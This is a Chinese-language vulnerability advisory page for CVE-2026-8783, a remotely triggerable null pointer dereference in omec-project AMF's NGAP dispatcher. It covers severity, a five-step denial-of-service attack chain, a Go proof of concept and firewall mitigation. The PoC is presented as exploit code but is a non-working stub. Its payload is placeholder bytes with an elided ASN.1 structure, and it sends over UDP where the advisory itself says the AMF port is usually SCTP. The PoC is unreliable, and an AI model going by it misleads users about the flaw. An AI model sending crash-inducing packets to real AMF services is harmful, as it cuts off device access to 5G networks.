IPBUF安全漏洞报告
English
CVE-2026-8783 CVSS 4.3 中危

CVE-2026-8783 omec-project amf空指针引用漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-8783
漏洞类型
空指针引用
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
omec-project amf

相关标签

空指针引用拒绝服务omec-projectamf5G核心网CVE-2026-8783

漏洞概述

omec-project amf 2.1.3-dev及之前版本存在安全漏洞。该漏洞源于ngap/dispatcher.go中的UERadioCapabilityCheckResponse函数存在空指针引用缺陷。攻击者可利用此漏洞进行远程攻击,无需用户交互即可触发服务崩溃。目前利用细节已公开,建议用户尽快升级到2.2.0版本以修复此问题。

技术细节

该漏洞的核心在于omec-project amf组件在处理NGAP协议消息时的逻辑缺陷。具体而言,问题出在ngap/dispatcher.go文件的UERadioCapabilityCheckResponse函数中。当系统接收到经过特殊构造的UE无线能力检查响应消息时,由于缺少对关键数据结构指针的非空校验,程序直接对该指针进行了解引用操作。这种空指针解引用会导致运行时恐慌(Panic),进而使整个服务进程崩溃。攻击者利用这一漏洞,无需进行用户交互或拥有高权限,仅需通过网络发送恶意数据包即可发起攻击。由于该组件通常运行在5G核心网接入管理功能中,服务中断将直接影响终端设备的接入能力,造成严重的拒绝服务(DoS)后果,对网络可用性构成威胁。

攻击链分析

STEP 1
侦察
攻击者识别网络中暴露的omec-project amf服务,确定其版本在2.1.3-dev或更低。
STEP 2
构建攻击载荷
攻击者根据漏洞细节,构造特定的NGAP协议数据包,该数据包包含针对UERadioCapabilityCheckResponse函数的恶意字段,旨在绕过基本检查并触发空指针。
STEP 3
发送恶意请求
攻击者通过网络向目标AMF服务发送构造好的恶意数据包。
STEP 4
触发漏洞
AMF服务在解析消息时,调用存在缺陷的函数,执行空指针解引用操作。
STEP 5
影响系统
服务进程崩溃或重启,导致5G核心网AMF功能不可用,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "fmt" "net" ) // PoC for CVE-2026-8783: Null Pointer Dereference in omec-project amf // This script sends a crafted NGAP packet to trigger the crash. func main() { target := "192.168.1.100:38412" // Replace with actual AMF IP and port // Simplified malicious payload representing a malformed UERadioCapabilityCheckResponse // The specific bytes needed to trigger the null pointer depend on the parser state. // This payload attempts to bypass initial checks and hit the vulnerable code path. maliciousPayload := []byte{ 0x00, 0x1c, // NGAP PDU type 0x40, 0x01, // Criticality // ... specific ASN.1 structure causing nil pointer ... 0x00, 0x00, 0x00, 0x00, // Triggering data } conn, err := net.Dial("udp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() _, err = conn.Write(maliciousPayload) if err != nil { fmt.Println("Failed to send payload:", err) return } fmt.Println("Payload sent successfully. Check AMF service status for crash (DoS).") }

影响范围

omec-project amf <= 2.1.3-dev

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或网关层面限制对AMF端口(通常为SCTP或特定UDP端口)的访问,仅允许已知的基站(gNB)IP地址连接。同时,应密切监控应用的日志输出,检测是否存在panic异常或频繁重启的现象,以便及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表